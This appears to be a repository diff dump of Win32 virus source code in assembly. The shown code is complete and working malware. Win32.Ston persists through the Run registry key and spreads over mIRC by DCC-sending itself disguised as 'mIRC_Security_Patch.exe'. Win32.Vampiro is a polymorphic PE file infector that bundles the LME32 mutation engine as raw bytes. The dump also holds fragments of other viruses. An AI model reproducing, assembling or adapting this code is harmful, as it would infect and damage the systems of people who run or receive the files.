mov word ptr [RARCrc32+2],0
push 0
push offset Number
push Size
push dword ptr [mHnd] ; Drop the file
push dword ptr [fHnd]
call WriteFile
push dword ptr [fHnd] ; Close it
call CloseHandle
dropErr:
ret
CRC32: cld ; Routine extracted from Vecna's
push ebx ; Inca virus! Muito brigado, friend!
mov ecx,-1 ; Calculates CRC32 at runtime, no
mov edx,ecx ; need of big tables.
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
ret
Ends
End inicio

246
Win32/Win32.Ston.asm Normal file

@ -0,0 +1,246 @@
;--------------------------------------------------------------------+
;name: Win32.Ston |
;author: Hutley / RRLF |
;date 30.Jun.2006 |
;webpage: www.Hutley.de.vu |
;--------------------------------------------------------------------+
; *** FEATURES |
; - Start with Windows by Registry |
; - Spread by mIRC using a script file |
; |
; *** THANX |
; - DiA, SPTH, blueowl, dr3f |
; |
; *** COMMENT! |
; My first that spread by mIRC! |
;--------------------------------------------------------------------+
include '%fasminc%\win32ax.inc'
.data
about db "Win32.Ston by Hutley / RRLF", 0
_windir rb 255d
ston_file rb 255d
ston_new rb 255d
; registry variables
reg_subkey equ "Software\Microsoft\Windows\CurrentVersion\Run", 0
reg_result db ?
reg_value equ "Ston", 0
; infect mIRC
mirc_reg equ "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\mIRC", 0
mirc_reg_rst db ?
mirc_path rb 255d
mirc_size db 255d
mirc_file equ "\mIRC_Security_Patch.exe", 0
mirc_ston equ "ston.mrc", 0
mirc_ston_hdl dd ?
mirc_dccsend db ".dcc send -clm $nick ",0
mirc_content db "; Win32.Ston.Script by Hutley/RRLF",13,10,\
"",13,10,\
"on 1:JOIN:#:if ($nick != $me) }",13,10
mirc_ctnt_size = $ - mirc_content
mirc_other db 256 dup(?)
mirc_rest db 13,10,".privmsg $nick Accept, its a very nice one!",13,10,"}"
mirc_writen dd 0
;mirc.ini
ini_file db 0
.code
start:
call autostart ; ok! auto start with windows
call infect_mirc ; ok! copy in mirc folder
call write_mirc.ini ; write in mirc.ini
invoke ExitProcess,\ ; that's all folks!
0
.end start
proc write_mirc.ini
invoke lstrcat,\
ini_file,\
"\mirc.ini"
invoke WritePrivateProfileString,\
"rfiles",\
"n2",\
"ston.mrc",\
ini_file
ret
endp
proc infect_mirc
invoke RegOpenKeyEx,\
HKEY_LOCAL_MACHINE,\
mirc_reg,\
0,\
KEY_READ,\
mirc_reg_rst
cmp eax, 0 ; any error?
jne error ; then exit
; whithout error, then continue
invoke RegQueryValueEx,\
dword[mirc_reg_rst],\
"UninstallString",\
0,\
0,\
mirc_path,\
mirc_size
invoke lstrlen,\
mirc_path
mov esi, mirc_path
sub eax, 21 ; 12 to mirc.exe | 21 to C:\mirc\
mov byte [esi + eax], 0
inc esi
invoke RegCloseKey,\
mirc_reg_rst
invoke GetModuleFileName,\
0,\
ston_file,\
255d
invoke lstrcpy,\
ston_new,\
esi
invoke lstrcpy,\
ini_file,\
esi
invoke lstrcat,\
ston_new,\
mirc_file
invoke lstrcpy,\
mirc_other,\
".dcc send -clm $nick "
invoke lstrcat,\
mirc_other,\
esi
invoke lstrcat,\
mirc_other,\
mirc_file
invoke CopyFile,\ ; let´s copy in mIRC folder
ston_file,\
ston_new,\
FALSE
invoke lstrlen,\
ston_new
mov esi, ston_new
sub eax, 23
mov byte[esi + eax], 0
invoke lstrcat,\
esi,\
mirc_ston
invoke CreateFile,\ ; create the script file (ston.mrc)
esi,\
GENERIC_WRITE,\
0,\
0,\
CREATE_ALWAYS,\
FILE_ATTRIBUTE_HIDDEN,\
0
cmp eax, INVALID_HANDLE_VALUE ; protection of erros
je error ; error? get out!
mov dword[mirc_ston_hdl], eax ; handle of file creation in variable
invoke WriteFile,\
dword[mirc_ston_hdl],\
mirc_content,\
mirc_ctnt_size,\
mirc_writen,\
0
invoke lstrlen,\
mirc_other
invoke WriteFile,\
dword[mirc_ston_hdl],\
mirc_other,\
eax,\
mirc_writen,\
0
invoke lstrlen,\
mirc_rest
invoke WriteFile,\
dword[mirc_ston_hdl],\
mirc_rest,\
eax,\
mirc_writen,\
0
invoke CloseHandle,\
dword[mirc_ston_hdl]
error: ; if exist error i go to here
invoke RegCloseKey,\ ; close the opened key
mirc_reg_rst
ret
endp
proc autostart ; auto start the virus by win registry
invoke GetWindowsDirectory,\ ; let's copy to windows dir
_windir,\
255d
invoke GetModuleFileName,\
0,\
ston_file,\
255d
invoke lstrcpy,\
ston_new,\
_windir
invoke lstrcat,\
ston_new,\
"\WinStone.exe"
invoke CopyFile,\
ston_file,\
ston_new,\
FALSE
invoke lstrcpy,\
ston_file,\
ston_new
invoke RegOpenKeyEx,\ ; add to registry
HKEY_LOCAL_MACHINE,\
reg_subkey,\
0,\
KEY_SET_VALUE,\
reg_result
invoke lstrlen,\
ston_file
invoke RegSetValueEx,\
dword[reg_result],\
reg_value,\
0,\
REG_SZ,\
ston_file,\
eax
invoke RegCloseKey,\
dword[reg_result]
ret
endp

File diff suppressed because it is too large Load Diff

7817
Win32/Win32.Thorin.asm Normal file

File diff suppressed because it is too large Load Diff

1759
Win32/Win32.Tirthas.asm Normal file

File diff suppressed because it is too large Load Diff

7671
Win32/Win32.Tuareg.asm Normal file

File diff suppressed because it is too large Load Diff

3210
Win32/Win32.Urk0.asm Normal file

File diff suppressed because it is too large Load Diff

@ -0,0 +1,951 @@
; Win32.Vampiro.2883
;
; - poly, used LME32 v.1.0
; - many layers, max - 11
; - used SEH
; - dont change entry point
;
; (c) LordDark [MATRiX]
.386
include 1.inc
locals __
.model flat
.code
db ?
.data
start proc
call get_delta
call set_seh
mov esp, [esp.8]
jmp exit
set_seh:
sti
sub eax, eax
push 4 ptr fs:[eax]
mov 4 ptr fs:[eax], esp
mov eax, [esp+11*4]
sub ax, ax
__5:
cmp 2 ptr [eax], 'ZM'
jz __4
sub eax, 10000h
jmp __5
__4:
mov 4 ptr [ebp.k32], eax
call import
push 0
call [ebp.GetModuleHandleA]
add [ebp.host32_1], eax
call restore
sub esp, 16
push esp
call [ebp.GetSystemTime]
mov eax, esp
push eax eax esp eax
call [ebp.SystemTimeToFileTime]
mov eax, [esp]
xor eax, [esp.4]
add esp, 24
mov [ebp.seed], eax
lea eax, [ebp.rnd]
mov 4 ptr [ebp.lme32_random], eax
push _vl 0
call [ebp.GlobalAlloc]
push eax
xchg eax, edi
lea esi, [ebp.start]
mov ecx, vl
lea eax, [ebp+__exit]
push eax
lea eax, [edi+__next-start]
push eax
rep movsb
ret
__next:
call get_delta
sub esp, size find_str
mov esi, esp
sub edi, edi
push esi ;;; hehe
lea eax, [ebp+mask]
push eax
call [ebp+FindFirstFileA]
cmp eax, -1
jz __1
__2:
push eax
push edi
push esi
lea edx, [esi.cFileName]
call infect_it
pop esi
push esi
push 4 ptr [esp.8]
call [ebp+FindNextFileA]
pop edi
inc edi
cmp edi, 50
ja __3
test eax, eax
pop eax
jnz __2
push eax
__3:
call [ebp+FindClose]
__1:
add esp, size find_str
ret
__exit:
call [ebp.GlobalFree]
exit:
pop 4 ptr fs:[0]
pop eax
popad
popf
db 68h
host32_1 dd offset host32-400000h
ret
endp
mask db '*.exe',0
restore proc
push 0 5
call __1
saved:
dd 90909090h
db 90h
__1:
mov eax, [ebp.host32_1]
push eax
call [ebp.GetCurrentProcess]
push eax
call [ebp.WriteProcessMemory]
ret
endp
Vampiro db 'Vampiro',0
import_table:
import_beg kernel32
import_nam _lopen
import_nam ReadFile
import_nam WriteFile
import_nam CloseHandle
import_nam SetFileAttributesA
import_nam GetFileAttributesA
import_nam GetFileTime
import_nam SetFileTime
import_nam SetEndOfFile
import_nam GetFileSize
import_nam SetFilePointer
import_nam SystemTimeToFileTime
import_nam GetSystemTime
import_nam WriteProcessMemory
import_nam GetCurrentProcess
import_nam GlobalAlloc
import_nam GlobalFree
import_nam FindClose
import_nam FindFirstFileA
import_nam FindNextFileA
import_end
import_end
get_delta proc
call $+5
delta:
cld
pop ebp
sub ebp, offset delta
ret
endp
include import.inc
infect_it proc
call __set_seh
mov esp, [esp.8]
jmp __1
__set_seh:
cld
sub eax, eax
push 4 ptr fs:[eax]
mov 4 ptr fs:[eax], esp
call infect
__1:
pop 4 ptr fs:[0]
pop eax
ret
endp
infect proc
; edx - name
call fattrg
cmp eax, -1
jnz __1
__2:
ret
__1: sub ecx, ecx
xchg eax, ecx
call fattrs
test eax, eax
jz __2
push 2
pop eax
call open
cmp eax, -1
xchg eax, ebx
jz __2
push ecx
sub esp, 3*8
mov esi, esp
push edx
call gettime
lea edx, [ebp.buffer]
push 3Ch+4
pop ecx
call read
jc __close
cmp 2 ptr [edx], 'ZM'
jnz __close
cmp 2 ptr [edx.18h], 40h
jb __close
push edx
movzx edx, 2 ptr [edx.3Ch]
mov [ebp.word3C], edx
call seek
pop edx
mov ecx, 0F8h + (28h*8)
call read
jc __close
cmp 2 ptr [edx], 'EP'
jnz __close
; dll ? if i process dll then skip
; this test
test 2 ptr [edx.16h], 2000h
jnz __close
; can run ?
test 2 ptr [edx.16h], 0002h
jz __close
; intel x86 processor ?
mov al, [edx.4]
and al, 11110000b
cmp al, 40h
jnz __close
; 2..8 sections ?
cmp 2 ptr [edx.06h], 8
ja __close
cmp 2 ptr [edx.06h], 2
jb __close
; it's already ?
mov al, 2Eh
cmp 1 ptr [edx.44h], al
jz __close
mov 1 ptr [edx.44h], al
; save EIP
mov eax, [edx.28h]
mov [ebp.host32_1], eax
mov eax, 1000h
cmp [edx.38h], eax
ja __close
cmp [edx.3Ch], eax
ja __close
lea edi, [ebp.buff]
mov ecx, (len_buff)/4
sub eax, eax
call rnd
__loop:
sub al, cl
rol eax, 1
stosd
loop __loop
; ecx - null
mov 4 ptr [edx.58h], ecx
call process_it
__close:
pop edx
mov esi, esp
call settime
add esp, 3*8
call close
pop eax
call fattrs
ret
endp
process_it proc
movzx eax, 2 ptr [edx.14h]
cmp al, 0E0h
jnz __1
lea edi, [eax+18h+edx]
movzx ecx, 2 ptr [edx.6]
__loop:
; check file
mov esi, [edx.28h]
cmp 4 ptr [edi.0Ch], esi
ja __4
push eax
mov eax, 4 ptr [edi.0Ch]
add eax, 4 ptr [edi.10h]
cmp esi, eax
pop eax
jb __5
__4:
add edi, 28h
loop __loop
jmp __1
__5: test 1 ptr [edi.27h], 80h
jnz __1
; read from IP some bytes
; for UEP
lea esi, [eax+18h+edx]
push edx
mov eax, [edx.028h]
sub eax, [edi.0Ch]
add eax, [edi.14h]
mov 4 ptr [ebp.forUEP], eax
xchg eax, edx
call seek
lea edx, [ebp.UEP]
mov ecx, size_UEP
call read
pop edx
jc __1
movzx eax, 2 ptr [edx.6]
dec eax
imul eax, eax, 28h
add esi, eax
mov edi, [esi.14h]
add edi, [esi.10h]
call fsize
cmp eax, edi
jz __2
push edx
mov edx, edi
call seek
push eax
mov edx, esp
push 4
pop ecx
call read
pop eax
cmp eax, 1
jz __3
call fsize
sub eax, edi
cmp eax, 100h ; 256 bytes only
; if yes then skip it ;)
jb __3
pop eax
jmp __1
__3:
mov edx, edi
call seek
call truncate
pop edx
__2: mov [ebp.flen], edi
or 1 ptr [esi.24h+3], 0C0h
lea edi, [ebp.UEP]
mov eax, [edi]
mov 4 ptr [ebp.saved], eax
mov al, [edi.4]
mov 1 ptr [ebp.saved+4], al
mov al, 0E9h
stosb
mov eax, 4 ptr [esi.10h]
add eax, 4 ptr [esi.0Ch]
sub eax, 4 ptr [ebp.host32_1]
sub eax, 5
stosd
; max 11 layers!
push esi
; gen 1 layer
lea esi, [ebp.start]
lea edi, [ebp.buff]
mov ecx, vl
call lme32
; max 10 layer
; 2..10
push eax
push 5
pop eax
call rnd
inc eax
shl eax, 1
xchg eax, ecx
; gen next layers
pop eax
__8:
push ecx
; 1 layer <-|
; 2 layer ---|
mov esi, edi
add edi, eax
xchg eax, ecx
call lme32
xchg esi, edi
xchg eax, ecx
call lme32
; edi - 1 layer
; esi - 2 layer
; eax - length
pop ecx
loop __8
pop esi
dec edi
dec edi
mov 2 ptr [edi], 609Ch
add eax, 8
xchg eax, edi
push eax
; edi - virus length
mov eax, edi
add eax, [edx.3Ch]
add eax, [esi.10h]
mov ecx, [edx.3Ch]
neg ecx
and eax, ecx
mov [esi.10h], eax
cmp [esi.08h], eax
ja __x
mov [esi.08h], eax
__x: mov eax, [esi.08h]
add eax, [esi.0Ch]
add eax, [edx.38h]
mov ecx, [edx.38h]
neg ecx
and eax, ecx
mov [edx.50h], eax
call fsize
xchg eax, edx
call seek
pop edx
push -1
pop eax
call rnd
db 0BFh
flen dd 0
mov ecx, [esi.10h]
add ecx, [esi.14h]
sub ecx, edi
mov 1 ptr [ecx+edx-6], al
xor al, 'V'
mov 1 ptr [ecx+edx-6+1], al
mov 4 ptr [ecx+edx-6+2], edi
call write
mov edx, [ebp.forUEP]
call seek
lea edx, [ebp.UEP]
mov ecx, size_UEP
call write
mov edx, [ebp.word3C]
call seek
lea edx, [ebp.buffer]
mov ecx, 0F8h + (28h*8)
call write
__1:
ret
endp
rnd proc
push ebp
push edx ecx eax
call $+5
$delta:
pop ebp
sub ebp, offset $delta
db 0B8h
seed dd ?
imul eax, eax, 8088405h
inc eax
mov [ebp.seed], eax
pop ecx
jecxz __1
xor edx, edx
div ecx
xchg eax, edx
__1:
pop ecx edx
pop ebp
ret
endp
include fio.inc
include lme32.inc
vl equ ($-start)
buff:
db (11*2000)+vl*2 dup (?)
db 1000h dup (?)
len_buff equ $-buff
buffer db 0F8h + (28h*8) dup (?)
word3C dd ?
size_UEP equ 5
UEP db size_UEP dup (?)
forUEP dd ?
_vl equ ($-start)
.code
host32:
db 0E9h
dd 0
push 0
zcall ExitProcess
db 'Win32.Vampiro.'
db vl / 1000 mod 10 + '0'
db vl / 100 mod 10 + '0'
db vl / 10 mod 10 + '0'
db vl / 1 mod 10 + '0'
real_start:
pushf
pusha
jmp start
end real_start
--[1.inc]--------------------------------------------------------------------->8
zcall macro api
extrn api: proc
call api
endm
CRC32_init equ 0EDB88320h
CRC32_num equ 0FFFFFFFFh
CRC32_eax macro string
db 0B8h
CRC32 string
endm
CRC32 macro string
crcReg = CRC32_num
irpc _x,<string>
ctrlByte = '&_x&' xor (crcReg and 0FFh)
crcReg = crcReg shr 8
rept 8
ctrlByte = (ctrlByte shr 1) xor (CRC32_init * (ctrlByte and 1))
endm
crcReg = crcReg xor ctrlByte
endm
dd crcReg
endm
import_beg macro kernel
db '&kernel&',0
endm
import_nam macro name
CRC32 &name&
local b
b=0
irpc a,<name>
IF b EQ 0
db '&a&'
ENDIF
b=b+1
endm
&name& dd 0
endm
import_end macro
dd 0
endm
MAX_PATH = 260
find_str struc
dwFileAttributes dd ?
ftCreationTime dq ?
ftLastAccessTime dq ?
ftLastWriteTime dq ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName db MAX_PATH dup (?)
cAlternateFileName db 14 dup (?)
ends
unicode macro text
irpc _x,<text>
db '&_x&',0
endm
db 0,0
endm
hook macro name
local b
b=0
irpc a,<name>
IF b EQ 0
db '&a&'
ENDIF
b=b+1
endm
CRC32 &name&
dw offset h&name&-start
dw offset _&name&-start
endm
dtime struc
wYear dw ?
wMonth dw ?
wDayOfWeek dw ?
wDay dw ?
wHour dw ?
wMinute dw ?
wSecond dw ?
wMilliseconds dw ?
ends
--[import.inc]---------------------------------------------------------------->8
get_proc proc
push ebp
; in:
; eax - CRC32
; ebx - DLL offset
; dl - first char
; out:
; eax - API address
; [ecx+ebx] - offset API address in table
; ebx - offset DLL
mov edi, [ebx+3Ch]
mov edi, [edi+78h+ebx]
mov ecx, [edi+18h+ebx]
mov esi, [edi+20h+ebx]
__1:
mov ebp, [esi+ebx]
add ebp, ebx
cmp 1 ptr [ebp], dl
jnz __2
push ebx ecx
; use ebx, ecx
; ebp - offset to name'z
xor ebx, ebx
dec ebx
__5:
xor bl, 1 ptr [ebp]
inc ebp
mov cl, 7
__3:
shr ebx, 1
jnc __4
xor ebx, CRC32_init
__4:
dec cl
jns __3
cmp 1 ptr [ebp], 0
jnz __5
cmp eax, ebx
pop ecx ebx
jz __6
__2:
add esi, 4
loop __1
__6:
sub ecx, [edi+18h+ebx]
neg ecx
add ecx, ecx
add ecx, [edi+24h+ebx]
add ecx, ebx
movzx ecx, 2 ptr [ecx]
shl ecx, 2
add ecx, [edi+1Ch+ebx]
mov eax, [ecx+ebx]
add eax, ebx
pop ebp
ret
endp
import proc
mov ebx, [ebp.k32]
CRC32_eax GetModuleHandleA
mov dl, 'G'
call get_proc
mov [ebp.GetModuleHandleA], eax
CRC32_eax LoadLibraryA
mov dl, 'L'
call get_proc
mov [ebp.LoadLibraryA], eax
lea esi, [ebp.import_table]
__1:
push esi
call [ebp.GetModuleHandleA]
test eax, eax
jnz __2
; if library not load ...
push esi
call [ebp.LoadLibraryA]
__2:
xchg eax, ebx
__3:
lodsb
test al, al
jnz __3
__4:
lodsd
test eax, eax
jz __5
mov dl, [esi]
inc esi
push esi
call get_proc
pop edi
stosd
mov esi, edi
jmp __4
__5:
cmp [esi], eax
jnz __1
ret
endp
GetModuleHandleA dd 0
LoadLibraryA dd 0
k32 dd 0BFF70000h
--[fio.inc]------------------------------------------------------------------->8
truncate proc
pushad
push ebx
call [ebp.SetEndOfFile]
jmp n_chk
endp
fsize proc
pushad
push 0 ebx
call [ebp.GetFileSize]
jmp n_chk
endp
gettime proc
pushad
; esi - addres struc
;
; CONST FILETIME * lpftLastWrite // time the file was last written
; CONST FILETIME * lpftLastAccess, // time the file was last accessed
; CONST FILETIME * lpftCreation, // time the file was created
;
; filetime struc
; dwLowDateTime dd ?
; dwHighDateTime dd ?
; ends
push esi
lodsd
lodsd
push esi
lodsd
lodsd
push esi ebx
call [ebp.GetFileTime]
jmp n_chk
endp
settime proc
pushad
; esi - addres struc
;
; CONST FILETIME * lpftLastWrite // time the file was last written
; CONST FILETIME * lpftLastAccess, // time the file was last accessed
; CONST FILETIME * lpftCreation, // time the file was created
;
; filetime struc
; dwLowDateTime dd ?
; dwHighDateTime dd ?
; ends
push esi
lodsd
lodsd
push esi
lodsd
lodsd
push esi ebx
call [ebp.SetFileTime]
jmp n_chk
endp
fattrs proc
pushad
push eax edx
call [ebp.SetFileAttributesA]
jmp n_chk
endp
fattrg proc
pushad
push edx
call [ebp.GetFileAttributesA]
jmp n_chk
endp
open proc
pushad
; eax - mode
; edx - name
;
; OF_READ Opens the file for reading only.
; OF_READWRITE Opens the file for reading and writing.
; OF_WRITE Opens the file for writing only.
push eax edx
call [ebp._lopen]
n_chk:
mov [esp.1Ch], eax
popad
ret
endp
close proc
pushad
push ebx
call [ebp.CloseHandle]
popad
ret
endp
write proc
pushad
push eax
mov eax, esp
push 0
push eax
push ecx edx ebx
call [ebp.WriteFile]
jmp n_check
endp
read proc
; ecx - length
; ebx - handle
; edx - buffer
pushad
push eax
mov eax, esp
push 0
push eax
push ecx edx ebx
call [ebp.ReadFile]
n_check:
pop eax
mov [esp.1Ch], eax
popad
cmp eax, ecx
jz __1
stc
__1:
ret
endp
seek proc
pushad
push 0 0 edx ebx
call [ebp.SetFilePointer]
jmp n_chk
endp
--[lme32.inc]----------------------------------------------------------------->8
; LME32 v.1.0
;
; ECX - length
; EDI - buffer
; ESI - source
;
; must be in r/w section
lme32:
db 060h,0E8h,00Fh,000h,000h,000h
lme32_random dd 0
db 05Bh,04Ch,04Dh,045h
db 033h,032h,02Eh,031h,031h,037h,033h,05Dh,081h,0EDh,006h,020h,040h,000h
db 0C1h,0E9h,002h,041h,089h,08Dh,0D3h,021h,040h,000h,089h,0BDh,0E5h,021h
db 040h,000h,089h,0B5h,0CEh,021h,040h,000h,0C7h,085h,025h,022h,040h,000h
db 0EFh,000h,000h,000h,08Dh,0B5h,030h,022h,040h,000h,0E8h,00Fh,003h,000h
db 000h,0B0h,003h,0FFh,0D6h,040h,091h,051h,0E8h,070h,002h,000h,000h,059h
db 0E2h,0F7h,0B0h,0E8h,0AAh,02Bh,0C0h,0ABh,08Bh,0C7h,02Bh,085h,0E5h,021h
db 040h,000h,089h,085h,0BCh,021h,040h,000h,0E8h,0E7h,002h,000h,000h,0E8h
db 0ABh,001h,000h,000h,088h,085h,046h,021h,040h,000h,050h,00Fh,0B6h,0C0h
db 00Fh,0B3h,085h,025h,022h,040h,000h,058h,00Ch,058h,0AAh,0E8h,091h,001h
db 000h,000h,050h,00Fh,0B6h,0C0h,00Fh,0B3h,085h,025h,022h,040h,000h,058h
db 088h,085h,077h,021h,040h,000h,08Bh,095h,0D3h,021h,040h,000h,0E8h,053h
db 001h,000h,000h,0E8h,0A6h,002h,000h,000h,0E8h,0B1h,002h,000h,000h,06Ah
db 0FFh,058h,0FFh,095h,006h,020h,040h,000h,089h,085h,0E1h,020h,040h,000h
db 0B0h,081h,0AAh,0E8h,04Ah,001h,000h,000h,0B0h,0E8h,074h,002h,0B0h,0C0h
db 09Ch,00Ah,085h,046h,021h,040h,000h,0AAh,089h,0BDh,082h,021h,040h,000h
db 0B8h,064h,022h,002h,002h,0ABh,09Dh,074h,006h,0F7h,09Dh,0E1h,020h,040h
db 000h,0E8h,062h,002h,000h,000h,0B0h,003h,0FFh,0D6h,003h,0C0h,08Bh,09Ch
db 005h,0F5h,021h,040h,000h,066h,089h,09Dh,0DDh,021h,040h,000h,08Bh,084h
db 005h,0EFh,021h,040h,000h,00Ah,0A5h,046h,021h,040h,000h,066h,0ABh,089h
db 0BDh,0C7h,021h,040h,000h,0ABh,06Ah,0FFh,058h,0FFh,095h,006h,020h,040h
db 000h,089h,085h,0D8h,021h,040h,000h,0ABh,0E8h,023h,002h,000h,000h,0B0h
db 083h,0AAh,0E8h,0DBh,000h,000h,000h,066h,0B8h,0C0h,004h,074h,004h,066h
db 0B8h,0E8h,0FCh,00Ch,003h,066h,0ABh,0E8h,008h,002h,000h,000h,0B0h,048h
db 00Ah,085h,077h,021h,040h,000h,0AAh,0E8h,0FAh,001h,000h,000h,0E8h,005h
db 002h,000h,000h,0B0h,003h,0FFh,0D6h,08Dh,09Dh,0FBh,021h,040h,000h,0D7h
db 0AAh,08Ah,085h,077h,021h,040h,000h,0C0h,0E0h,003h,00Ch,000h,00Ch,0C0h
db 0AAh,066h,0B8h,00Fh,085h,066h,0ABh,0B8h,0E0h,098h,040h,000h,02Bh,0C7h
db 0ABh,050h,00Fh,0B6h,085h,046h,021h,040h,000h,00Fh,0ABh,085h,025h,022h
db 040h,000h,058h,050h,00Fh,0B6h,085h,077h,021h,040h,000h,00Fh,0ABh,085h
db 025h,022h,040h,000h,058h,0E8h,0A8h,001h,000h,000h,0E8h,0B3h,001h,000h
db 000h,08Bh,0C7h,02Bh,085h,0E5h,021h,040h,000h,02Dh,030h,002h,000h,000h
db 003h,085h,0E1h,020h,040h,000h,0BAh,0F8h,098h,040h,000h,089h,002h,0BEh
db 02Bh,082h,040h,000h,0B9h,015h,005h,000h,000h,0BAh,084h,056h,0BAh,05Ah
db 0ADh,003h,0C2h,0ABh,0E2h,0FAh,08Bh,0C7h,02Dh,07Dh,096h,040h,000h,089h
db 044h,024h,01Ch,061h,0C3h,081h,0B0h,081h,080h,081h,0A8h,033h,0C2h,02Bh
db 0C2h,003h,0C2h,085h,023h,00Bh,0E8h,013h,000h,000h,000h,074h,006h,00Ch
db 0B8h,0AAh,092h,0ABh,0C3h,050h,0B0h,068h,0AAh,092h,0ABh,058h,00Ch,058h
db 0AAh,0C3h,050h,0B0h,002h,0FFh,0D6h,085h,0C0h,058h,0C3h,053h,0B0h,008h
db 0FFh,0D6h,0BBh,0EFh,000h,000h,000h,00Fh,0A3h,0C3h,073h,0F2h,05Bh,0C3h
db 00Fh,0B6h,0C0h,0FFh,0A5h,006h,020h,040h,000h,080h,0CCh,0C0h,0C0h,0E0h
db 003h,00Ah,0C4h,0AAh,0C3h,008h,047h,0FFh,0C3h,00Ch,0C0h,0AAh,0B0h,008h
db 0FFh,0D6h,03Ch,006h,074h,0F8h,0C0h,0E0h,003h,008h,047h,0FFh,0C3h,00Ch
db 0C0h,0C0h,0E4h,003h,00Ah,0C4h,0AAh,0B0h,0FFh,0FFh,0D6h,0AAh,0C3h,08Bh
db 039h,002h,07Fh,0B7h,039h,002h,040h,0BFh,039h,002h,040h,087h,039h,002h
db 0BFh,003h,039h,002h,07Fh,013h,039h,002h,07Fh,023h,039h,002h,07Fh,00Bh
db 039h,002h,07Fh,02Bh,039h,002h,07Fh,01Bh,039h,002h,07Fh,033h,039h,002h
db 07Fh,040h,043h,002h,07Fh,048h,043h,002h,07Fh,039h,039h,002h,03Fh,085h
db 039h,002h,03Fh,0D1h,047h,002h,07Fh,0D3h,047h,002h,07Fh,0A4h,059h,002h
db 040h,0ACh,059h,002h,040h,0C8h,043h,002h,040h,0ABh,039h,002h,080h,0B3h
db 039h,002h,080h,0BBh,039h,002h,080h,0E8h,09Eh,000h,000h,000h,0B8h,064h
db 067h,0FFh,036h,0ABh,02Bh,0C0h,066h,0ABh,0E8h,07Fh,000h,000h,000h,0E8h
db 08Ah,000h,000h,000h,0B0h,0E8h,0AAh,0ABh,057h,0E8h,070h,000h,000h,000h
db 0E8h,07Bh,000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h
db 0ABh,0E8h,05Ch,000h,000h,000h,0E8h,067h,000h,000h,000h,0B0h,0E9h,0AAh
db 0ABh,08Bh,0D7h,0E8h,04Ch,000h,000h,000h,0E8h,057h,000h,000h,000h,058h
db 08Bh,0DFh,02Bh,0D8h,089h,058h,0FCh,0E8h,03Ah,000h,000h,000h,0E8h,045h
db 000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h,0ABh,0E8h
db 026h,000h,000h,000h,0E8h,031h,000h,000h,000h,0B8h,064h,067h,0FFh,026h
db 0ABh,02Bh,0C0h,066h,0ABh,0E8h,012h,000h,000h,000h,0B0h,0FFh,0FFh,0D6h
db 0AAh,0E8h,008h,000h,000h,000h,08Bh,0C7h,02Bh,0C2h,089h,042h,0FCh,0C3h
db 0B0h,005h,0FFh,0D6h,040h,091h,051h,0E8h,013h,000h,000h,000h,059h,0E2h
db 0F7h,0C3h,080h,0BDh,07Eh,023h,040h,000h,001h,075h,005h,0E8h,009h,000h
db 000h,000h,0C3h,0B0h,004h,0FFh,0D6h,022h,0C0h,075h,049h,0B0h,000h,084h
db 0C0h,075h,012h,0FEh,085h,07Eh,023h,040h,000h,0B0h,0E8h,0AAh,089h,0BDh
db 09Eh,023h,040h,000h,0ABh,0EBh,031h,0E8h,085h,0FEh,0FFh,0FFh,00Ch,0B8h
db 0AAh,0B8h,034h,099h,040h,000h,08Bh,0DFh,02Bh,0D8h,057h,097h,093h,083h
db 0E8h,004h,0ABh,05Fh,0B0h,0C3h,0AAh,06Ah,0FFh,058h,0FFh,095h,006h,020h
db 040h,000h,066h,0ABh,0C1h,0E8h,010h,0AAh,0FEh,08Dh,07Eh,023h,040h,000h
db 0B0h,01Ah,0FFh,0D6h,03Ch,019h,075h,016h,0E8h,009h,000h,000h,000h,0F8h
db 0FCh,0FAh,0F5h,0FBh,090h,0F9h,0FDh,09Eh,05Bh,0B0h,009h,0FFh,0D6h,0D7h
db 0AAh,0C3h,03Ch,018h,075h,017h,052h,06Ah,0FFh,058h,0FFh,095h,006h,020h
db 040h,000h,092h,0E8h,027h,0FEh,0FFh,0FFh,0E8h,001h,0FEh,0FFh,0FFh,05Ah
db 0C3h,03Ch,017h,075h,01Dh,0B0h,08Dh,0AAh,0E8h,014h,0FEh,0FFh,0FFh,03Ch
db 005h,074h,0F7h,0C0h,0E0h,003h,00Ch,005h,0AAh,06Ah,0FFh,058h,0FFh,095h
db 006h,020h,040h,000h,0ABh,0C3h,08Dh,09Ch,085h,067h,022h,040h,000h,0E8h
db 0EAh,0FDh,0FFh,0FFh,074h,003h,0B0h,066h,0AAh,0F6h,043h,003h,03Fh,075h
db 003h,0B0h,00Fh,0AAh,08Ah,003h,0AAh,08Ah,043h,003h,024h,0C0h,03Ch,000h
db 075h,016h,0B0h,008h,0FFh,095h,006h,020h,040h,000h,08Ah,0C8h,0B0h,008h
db 0FFh,095h,006h,020h,040h,000h,08Ah,0E1h,0EBh,02Bh,03Ch,040h,075h,015h
db 0E8h,0BAh,0FDh,0FFh,0FFh,08Ah,0C8h,0B0h,008h,0FFh,095h,006h,020h,040h
db 000h,08Ah,0E0h,08Ah,0C1h,0EBh,012h,0E8h,0A5h,0FDh,0FFh,0FFh,08Ah,0C8h
db 0E8h,09Eh,0FDh,0FFh,0FFh,03Ah,0C1h,074h,0F0h,08Ah,0E1h,00Fh,0B7h,05Bh
db 001h,08Dh,09Ch,01Dh,000h,020h,040h,000h,0FFh,0D3h,0C3h

4043
Win32/Win32.Vampiro.7018.asm Normal file

File diff suppressed because it is too large Load Diff

4412
Win32/Win32.Voltage.asm Normal file

File diff suppressed because it is too large Load Diff

816
Win32/Win32.Voodoo.asm Normal file

@ -0,0 +1,816 @@
; ============================ Win32.Voodoo_v3.1 ===========================
; Program : Voodoo v3.1
; Description : Parasitic,crypt PE virus
; Last modified : 01.09.1999
; Purpose : process handling under win32
; Target OS : Win95/98/NT
; Notes :
ImBase equ 00400000h
Entyp equ 00001000h
ADDC equ ImBase+Entyp+5
DiskCount EqU 4
FileCount EqU 1
